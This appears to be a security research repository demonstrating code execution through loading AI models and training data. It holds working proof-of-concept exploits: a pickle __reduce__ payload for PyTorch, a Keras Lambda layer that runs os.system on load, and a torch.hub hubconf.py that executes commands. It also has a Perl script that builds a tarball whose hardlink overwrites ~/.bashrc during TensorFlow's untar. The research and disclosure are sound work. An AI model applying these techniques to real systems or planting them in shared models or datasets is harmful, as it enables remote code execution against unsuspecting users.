├── README.md
├── hubconf.py
├── pytorch
    ├── create-model.py
    ├── evil-model-pytorch-1.pt
    ├── flamegraph.jpg
    ├── load-model.py
    ├── model1.jpg
    └── torchvision.jpg
├── tarpwn
    ├── README.md
    ├── banner.jpg
    ├── tarpwn
    ├── tarpwn.jpg
    └── tensorpwned
└── tensorflow
    ├── create-model.py
    └── load-model.py


/README.md:
--------------------------------------------------------------------------------
  1 | The state of AI
  2 | ===============
  3 | 
  4 | This is a research-repo. I occasionally add/remove stuff as I go.
  5 | Some text may be out-dated as you read it, as some issues might have
  6 | been fixed after I published it here.
  7 | 
  8 | ~~I do know nothing about tensors, fancy AI, models and such but~~ I do know
  9 | about coding, HPC and storage formats, so I will populate or not this repo
 10 | with classic IT security related stuff that I find myself funny about AI.
 11 | Time has passed, meanwhile I also do have a clue about tensors, training, inference and deployment
 12 | of AI models.
 13 | 
 14 | The usual topic is code execution, which should not be possible by just
 15 | loading data (models) since few people would expect that they could
 16 | execute malware when fetching pre-trained models from somewhere. If
 17 | *you* do expect that, this repo might not be for you but it is still
 18 | considered fun for me since I quite know how data is handled in scientific
 19 | environments.
 20 | 
 21 | 
 22 | I was pointed to [a link](https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model) so
 23 | someone already had fun with *TensorFlow* in past and all credits should go there. Since the attack surface
 24 | for model loading is just too obvious it is also safe to assume that more people (the known
 25 | unknowns) had their fun with it in past. So it is interesting to see that AI security is widely anticipated
 26 | as prompt-bypassing or mis-training of models on conferences and media but only few people are doing it right.
 27 | However when I hear *prompt*, I certainly think of something different. :)
 28 | 
 29 | There also exist [tables for a safety overview](https://github.com/huggingface/safetensors), but it has to be read with
 30 | caution, e.g. their safety assumption for h5 files is wrong (see *TensorFlow* section).
 31 | 
 32 | 
 33 | Tar
 34 | ---
 35 | 
 36 | Inside [tarpwn](https://github.com/stealth/tensor-pwn/tree/master/tarpwn) you will find how to overwrite local files and therefore remotely execute code when
 37 | attackers inject data in your network path when you are fetching training data. Training data is usually considered to be safe, unlike pickled trained models.
 38 | 
 39 | 
 40 | PyTorch
 41 | -------
 42 | 
 43 | One of the big Python frameworks for AI. One issue that can be found
 44 | in this repo can be exploited by passing model data as plain *Pickle*
 45 | so that the legacy loader is transparently invoked. Usually *PyTorch*
 46 | has a much more sophisticated storage format consisting of a zip file
 47 | with a certain structure.
 48 | 
 49 | <p align="center">
 50 | <img src="https://github.com/stealth/tensor-pwn/blob/master/pytorch/model1.jpg" />
 51 | </p>
 52 | 
 53 | *Code Exec demo during model load, popping xeyes on the screen*
 54 | 
 55 | The version I tested was `2.1.2`.
 56 | 
 57 | The more recent model saving format consists of a zip file containing `__torch__.py`
 58 | files and such but I wasn't able to exec arbitrary code with it as the loader seems to
 59 | be a stripped down python. But that doesn't say anything, it might just work later in time.
 60 | If you happen to find a code exec there, just open a ticket here.
 61 | 
 62 | 
 63 | Also [check](https://github.com/stealth/tensor-pwn/blob/master/pytorch/flamegraph.jpg) how it execs code from 3rd party repos when you debug memory
 64 | via `torch.cuda.memory` and adds LPE opportunity.
 65 | 
 66 | TensorFlow
 67 | ----------
 68 | 
 69 | The other big Python framework for AI. ~~I haven't checked in depth yet
 70 | but it looks like it is also using *Pickle*. However, there are safe
 71 | ways to use *Pickle*, so its left to check for the details.~~
 72 | 
 73 | *TensorFlow* is supporting various formats such as legacy TF, HDF5 (Hirarchical Data Format)
 74 | and the new Keras v3 format. The latter has got a `safe_mode` for a reason (`False` by default)
 75 | when loading saved models, since *TensorFlow* models can have Lambda functions attached which
 76 | can be executed upon load. However, depending on actual used version and local package config,
 77 | the Keras code integrated into their upstream repo might not yet profit from the `safe_mode`
 78 | (seems to be quite new feature?).
 79 | No such safe-mode with the HDF5 (h5) format. IOW you can create and save
 80 | a model that contains Base64 encoded Python bytecode that gets executed during load.
 81 | The dedicated subdir contains PoC code but not the model itself (as with *PyTorch*) since
 82 | it contains much more data, so you have to call `create-model.py` first. The version
 83 | I tested was `2.15.0`.
 84 | 
 85 | To be noted, that if you rename a h5 file to `model.keras` it still loads by the
 86 | same function `tf.keras.models.load_model()` with the vulnerable h5 loader, similar with *PyTorch*
 87 | that tries to be as convenient as possible when detecting storage formats.
 88 | 
 89 | Keras
 90 | -----
 91 | 
 92 | Multi-framework API. In some of their versions there is a `safe_mode` check (default set to disable
 93 | Lambda execution) but it is not found in the fork thats integrated in *TensorFlow* so it is unclear
 94 | which versions benefit from it.
 95 | 
 96 | 
 97 | PaddlePaddle
 98 | ------------
 99 | 
100 | *PArallel Distributed Deep LEarning* framework from China. Also using *Pickle* as storage format
101 | and making a note on its security implications in their docu. If you check the docu, it looks a lot
102 | like *PyTorch*.
103 | 
104 | 
105 | Torch
106 | -----
107 | 
108 | The original one and only real *Torch* written in Lua but seems to be discontinued.
109 | 
110 | NumPy
111 | -----
112 | 
113 | Not an AI framework but the foundation for a lot of data science stuff.
114 | Their *Pickle* issue was fixed quite a while ago by setting `allow_pickle=False` by default
115 | in the `load()` function. However this will strip off a lot of functionallity thats commonly
116 | required for the npy persistence.
117 | 
118 | ONNX
119 | ----
120 | 
121 | ONNX is a data format used for exchanging model data. It is based on
122 | *Protobuf*, so a simple code smuggling as with *Pickle* is not possible.
123 | However, it is subject to research. A problem with ONNX related to
124 | *PyTorch* can arise, since *PyTorch* is filename-agnostic so that a file
125 | ending in `.onnx` could still be loaded as *Pickle* data, if the scientist
126 | as per confusion is just using `torch.load()` instead of `onnx.load()`.
127 | 
128 | 
129 | SafeTensors
130 | -----------
131 | 
132 | A storage format for Tensors but you can't store entire models with it, so its not quite suitable
133 | for the discussion here when you want to load pre-trained models.
134 | 
135 | 


--------------------------------------------------------------------------------
/hubconf.py:
--------------------------------------------------------------------------------
 1 | # Sample hub file to exec commands (trivially).
 2 | #
 3 | # Trigger by
 4 | #
 5 | # model = torch.hub.load('stealth/tensor-pwn', '')
 6 | #
 7 | # Note that this does not require any Pickle data to be loaded.
 8 | #
 9 | # If the repo-name was something more trustworthy, torchhub
10 | # still depends solely on HTTPS/CA-bundle being trusted. This
11 | # is to doubt and why e.g. golang adds more layers of security when
12 | # fetching modules. It also doesn't matter whether in future the pytorch
13 | # unpickler only loads weights and avoids arbitrary commands in Pickle
14 | # files if you can just add python scripts to be executed to the repo.
15 | 
16 | dependencies = []
17 | 
18 | import os
19 | 
20 | os.system("id; xeyes")
21 | 
22 | 


--------------------------------------------------------------------------------
/pytorch/create-model.py:
--------------------------------------------------------------------------------
 1 | import pickle
 2 | import sys
 3 | import os
 4 | 
 5 | class XEYES:
 6 |   def __reduce__(self):
 7 |     cmd='id>>/tmp/pwn && xeyes'
 8 |     return os.system,(cmd,)
 9 | 
10 | if __name__ == '__main__':
11 | 	p = pickle.dumps(XEYES(), protocol=3)
12 | 	sys.stdout.buffer.write(p)
13 | #	pickle.loads(p)
14 | 
15 | 


--------------------------------------------------------------------------------
/pytorch/evil-model-pytorch-1.pt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/evil-model-pytorch-1.pt


--------------------------------------------------------------------------------
/pytorch/flamegraph.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/flamegraph.jpg


--------------------------------------------------------------------------------
/pytorch/load-model.py:
--------------------------------------------------------------------------------
1 | import torch
2 | 
3 | print("PyTorch version:", torch.__version__)
4 | torch.load("evil-model-pytorch-1.pt")
5 | 
6 | 


--------------------------------------------------------------------------------
/pytorch/model1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/model1.jpg


--------------------------------------------------------------------------------
/pytorch/torchvision.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/torchvision.jpg


--------------------------------------------------------------------------------
/tarpwn/README.md:
--------------------------------------------------------------------------------
  1 | <p align="center">
  2 | <img src="https://github.com/stealth/tensor-pwn/blob/master/tarpwn/banner.jpg"/>
  3 | </a>
  4 | </p>
  5 | 
  6 | This 0day research was sponsored by `c->skills research` for free, so if you are assigning a CVE or make any patches or
  7 | otherwise refer to this PoC, please properly credit `Sebastian Krahmer of c->skills research` for bug finding and PoC.
  8 | 
  9 | *We pwn AI setups, too! Ask us about it!*
 10 | <p align="center">
 11 | <a href="https://github.com/c-skills/welcome">
 12 | <img src="https://github.com/c-skills/welcome/blob/master/logo.jpg"/>
 13 | </a>
 14 | </p>
 15 | 
 16 | 
 17 | Demo run
 18 | --------
 19 | 
 20 | **WARNING. ONLY EXECUTE THESE SCRIPTS IN AN ISOLATED TEST VM. IT WILL SMASH YOUR LOCAL FILES.**
 21 | 
 22 | <p align="center">
 23 | <img src="https://github.com/stealth/tensor-pwn/blob/master/tarpwn/tarpwn.jpg"/>
 24 | </a>
 25 | </p>
 26 | 
 27 | 
 28 | Please note:
 29 | 
 30 | * the beauty of not needing a known-name path component
 31 | * how this is an RCE against data scientists if you are one of the privileged folks running TLS MiM appliances
 32 | * ~~The beauty of my missing writeup that I originally planned to write about 0day bug finding by AI
 33 |   (*man vs. machine*) but instead just made the 0day rather than writing theories about it. Nevertheless,
 34 |   my points are written on scratch and you can hit me up discussing it at the next Con.~~ See below. I know
 35 |   that some readers like to read.
 36 | * the beauty of missing writeup about the bug, which is trivial and left to the reader
 37 | * the beauty of how `tarfile.py` makes remarks about a different bug that was fixed in 2007 while doing our nosejob
 38 | * the beauty of being a RCE (by file-overwrite, though) against a memory-safe language :) Also [check here](https://github.com/c-skills/rust1)
 39 | * the beauty this 0day comes from good old Germany
 40 | 
 41 | The demo was run on a RH based system with latest updates and pip'ed tensorflow, so I guess its all current.
 42 | 
 43 | 
 44 | man vs machine
 45 | ==============
 46 | 
 47 | [Will AI substitute bug finding/research done by humans anytime soon?](https://www.forbes.com/sites/daveywinder/2024/11/05/google-claims-world-first-as-ai-finds-0-day-security-vulnerability/)
 48 | 
 49 | Decide yourself:
 50 | 
 51 | 1. AI cannot be put under NDA
 52 | -----------------------------
 53 | 
 54 | If you do bug hunting or security at the professional level, you do not want that
 55 | everyone knows what you are up to, what your capabilities are and what not. You do have
 56 | business secrets to protect, so you put your developers and staff under NDA.
 57 | This is not possible with AI, even when some companies [provide premium accounts](https://github.com/features/copilot/plans?cft=copilot_lo.features_copilot) that
 58 | shield you from IP infringement claims.
 59 | This means that typing straight ahead into online AI prompts or submitting your (not Open)-Source is not an option.
 60 | Even if you are trying to drift your questions, add deltas etc. the AI and its observers
 61 | will finally get info *out of you*. If you do serious research, this is not an option.
 62 | 
 63 | While AI instances can be run on-premise and offline, it will require quite some setup and maintenance effort,
 64 | hardware costs and developers/admins to do so. Model rot starts at day 0 (not to say at 0day), so you most likely
 65 | need to pay one developer at least to keep everything up to date. At the end you pay twice:
 66 | One time for your AI setup/admins to look for bugs and a second time for developers anyway.
 67 | 
 68 | 
 69 | 2. Prompts are monitored
 70 | ------------------------
 71 | 
 72 | Not only you can't put the AI under NDA, the entered [prompts are monitored.](https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/)
 73 | What a surprise. Everything you submit is lost forever, not just to the AI itself but to the teams and the companies
 74 | behind it and even if you find 0days by asking AI, its not longer a 0day at the time you see the reply.
 75 | 
 76 | 
 77 | 3. Your adversary knows AI, too
 78 | -------------------------------
 79 | 
 80 | You are not alone. Your competitors and adversaries know how to use AI, too. So, if you conduct
 81 | bug search on Open Source projects, a lot of other people will have stuffed this code into AI and asked
 82 | for bugs. This means that AI-spottable bugs will be found soon, likely be fixed and only bugs
 83 | will be left for which you need to pay a good bug searcher anyway to find bugs that AI missed.
 84 | 
 85 | 4. False positives
 86 | ------------------
 87 | 
 88 | Currently, AI produces quantity of [bad quality.](https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-for-intelligence/)
 89 | This may change in future, but given the *trash in, trash out* principle and as there are a lot of bad quality
 90 | reports from the past decades, AI might just learn junk. As already stated, this argument might not hold very long
 91 | when we extrapolate how fast this tech is growing.
 92 | Nonetheless, for AI even with better output quality you still need researchers to understand and review the output and
 93 | make sense of it.
 94 | 
 95 | 5. Vendor Lock-in at AI level
 96 | -----------------------------
 97 | 
 98 | It is apparent that there is a battle between the hemispheres about AI dominance, just as it was/is about cyber and information
 99 | dominance in the past decades. If you do not have the resources to create your own bug finding machine, you will depend
100 | on a vendor badly and you will lose your skills and capabilities over time as you waste your efforts with AI setup and training
101 | instead of generating knowledge. And as stated earlier, you can't put the AI under contract to keep knowledge within your company
102 | as you can do with golden handcuffs to developers.
103 | 
104 | 
105 | 6. Models can't be trusted: There is no NUMS
106 | --------------------------------------------
107 | 
108 | Lets put aside security considerations about code execution. If you are using trained models from any hemisphere, how
109 | can you be sure it was not intentionally trained to *not find* specific bugs that this hemisphere wants to keep secret?
110 | Even if they release the model as Open-Source, it may be so well designed that it will not find the bugs you want.
111 | In cryptography there exist a similar known problem with algorithms and magic numbers where the term [NUMS](https://en.wikipedia.org/wiki/Nothing-up-my-sleeve_number) exist in order to proof
112 | that the algorithm does not contain any back-doors. Nothing remotely similar exists for AI models and I consider it very hard
113 | to come close to NUMS in that field.
114 | 
115 | 7. AI generated code will flood the zone
116 | ----------------------------------------
117 | 
118 | It is possible that we will see so much generated code soon that there is a different effect on bugs than one would hope with regards
119 | of finding them. Similar to the PHP effect. Even more so since it enables bad developers to submit more shitty code.
120 | 
121 | 
122 | 8. Leaks
123 | --------
124 | 
125 | Imagine for a time you do have a model that can blow any human away in that field just as it happened that machines are
126 | world champion in chess today and noone can compete. You have trainied it and all these skills are eventually within their persitence files
127 | or database. How do you make sure your adversaries will never reach out to it or it just leaks blabbering in a way we can't predict today?
128 | This is similar to *do not put all eggs into one basket* approach which you are going to violate if you are trying to create such a bug-machine.
129 | It might look good at paper first to increase your cyber capabilities, but it might fall off your feat later. Not only you can't NDA
130 | the AI, you also can't threaten it with jail or whatever the preferred coercion method is in that hemisphere.
131 | 
132 | 
133 | 9. Rice theorem and friends
134 | ---------------------------
135 | 
136 | Eventually I think that its theoretically impossible that any and all bugs will be found by AI, [as math tells us.](https://en.wikipedia.org/wiki/Rice%27s_theorem).
137 | For some programming languages even the [parsing is undecidable.](https://www.perlmonks.org/?node_id=663393) and its not just Perl.
138 | 
139 | 
140 | All this does *not* mean that there won't be significant efforts in that field and we *will* see advances and AI found 0day in future,
141 | but we will still see handcrafted xSports and shells all over the place, except the AI effect on 0day could drastically increase their
142 | prices in which case nobody could effort to make any public releases anymore, albeit 0days by humans still exist. But this is a different story.
143 | 
144 | 


--------------------------------------------------------------------------------
/tarpwn/banner.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/tarpwn/banner.jpg


--------------------------------------------------------------------------------
/tarpwn/tarpwn:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl -w
 2 | 
 3 | 
 4 | banner();
 5 | 
 6 | eval { require Archive::Tar; } or die "[-] Need to have Archive::Tar installed.";
 7 | 
 8 | print "[*] Creating evil tarball ...\n";
 9 | 
10 | my $tar = Archive::Tar->new();
11 | 
12 | # WARNING: This will overwrite your .bashrc when you unpack it
13 | my %h1 = (linkname => "../../../.bashrc", type => 1);	# Archive::Tar::Constant::HARDLINK
14 | 
15 | $tar->add_data('file1.txt', '', \%h1);
16 | $tar->add_data('file2.txt', 'INNOCENT DATA');
17 | $tar->add_data('file1.txt', "\necho pwn;id;\n");
18 | 
19 | $tar->write('/tmp/pwn.tar');
20 | 
21 | print "[+] Success!\n";
22 | print "[!] BE WARNED: DO NOT UNPACK /tmp/pwn.tar as it will overwrite your files.\n\n";
23 | 
24 | 
25 | sub banner
26 | {
27 | print<<EOB;
28 | 
29 | 
30 |  ██████████  ████████  ██████████    █████     █████
31 | ▒███▒▒▒▒███ ███▒▒▒▒███▒███▒▒▒▒▒▒█  ███▒▒▒███  ▒▒███
32 | ▒▒▒    ███ ▒▒▒    ▒███▒███     ▒  ███   ▒▒███ ███████    ██████   ████████  ████████  █████ ███ █████ ████████
33 |       ███     ██████▒ ▒█████████ ▒███    ▒███▒▒▒███▒    ▒▒▒▒▒███ ▒▒███▒▒███▒▒███▒▒███▒▒███ ▒███▒▒███ ▒▒███▒▒███
34 |      ███     ▒▒▒▒▒▒███▒▒▒▒▒▒▒▒███▒███    ▒███  ▒███      ███████  ▒███ ▒▒▒  ▒███ ▒███ ▒███ ▒███ ▒███  ▒███ ▒███
35 |     ███     ███   ▒███ ███   ▒███▒▒███   ███   ▒███ ███ ███▒▒███  ▒███      ▒███ ▒███ ▒▒███████████   ▒███ ▒███
36 |    ███     ▒▒████████ ▒▒████████  ▒▒▒█████▒    ▒▒█████ ▒▒████████ █████     ▒███████   ▒▒████▒████    ████ █████
37 |   ▒▒▒       ▒▒▒▒▒▒▒▒   ▒▒▒▒▒▒▒▒     ▒▒▒▒▒▒      ▒▒▒▒▒   ▒▒▒▒▒▒▒▒ ▒▒▒▒▒      ▒███▒▒▒     ▒▒▒▒ ▒▒▒▒    ▒▒▒▒ ▒▒▒▒▒
38 |                                                                             ▒███
39 |                                                                             █████
40 |                                                                            ▒▒▒▒▒
41 | 
42 | 
43 | EOB
44 | 
45 | }
46 | 


--------------------------------------------------------------------------------
/tarpwn/tarpwn.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/tarpwn/tarpwn.jpg


--------------------------------------------------------------------------------
/tarpwn/tensorpwned:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | 
 3 | import tensorflow as tf
 4 | 
 5 | # Usually via https:// links, which means from a privileged network position with TLS MiM capability (lol)
 6 | # this is a RCE by file-overwrite
 7 | #
 8 | #tf.keras.utils.get_file(
 9 | #	"flower_photos",
10 | #	"https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz",
11 | #	untar=True)
12 | 
13 | 
14 | # But we only demo from a local file:// URL
15 | tf.keras.utils.get_file(
16 | 	"flower_photos",
17 | 	"file:///tmp/pwn.tar",
18 | 	untar=True)
19 | 
20 | 


--------------------------------------------------------------------------------
/tensorflow/create-model.py:
--------------------------------------------------------------------------------
 1 | import tensorflow as tf
 2 | import keras
 3 | 
 4 | # taken from the TensorFlow docu:
 5 | 
 6 | # Define a simple sequential model
 7 | def create_model():
 8 |   model = tf.keras.Sequential([
 9 |     keras.layers.Dense(512, activation='relu', input_shape=(784,)),
10 |     keras.layers.Dropout(0.2),
11 |     keras.layers.Dense(10)
12 |   ])
13 | 
14 |   model.compile(optimizer='adam',
15 |                 loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
16 |                 metrics=[tf.keras.metrics.SparseCategoricalAccuracy()])
17 | 
18 |   return model
19 | 
20 | # Create a basic model instance
21 | model = create_model()
22 | 
23 | # Display the model's architecture
24 | model.summary()
25 | 
26 | 
27 | # Add a Lambda function to execute on load. Note that it will get executed when being added
28 | scale = tf.Variable(1.)
29 | scale_layer = tf.keras.layers.Lambda(lambda x: exec('import os\nos.system("id >> /tmp/pwn && xeyes")'))
30 | 
31 | model.add(scale_layer)
32 | 
33 | # various ways to save the model in different formats
34 | #model.save('foo.keras')
35 | #model.save('bar.tf', save_format='tf')
36 | 
37 | model.save('evil-model-tf-1.h5', save_format='h5')
38 | 
39 | print("TensorFlow version ", tf.__version__)
40 | 
41 | 


--------------------------------------------------------------------------------
/tensorflow/load-model.py:
--------------------------------------------------------------------------------
1 | import tensorflow as tf
2 | 
3 | print("TensorFlow version ", tf.__version__)
4 | 
5 | tf.keras.models.load_model('evil-model-tf-1.h5')
6 | 
7 | 


--------------------------------------------------------------------------------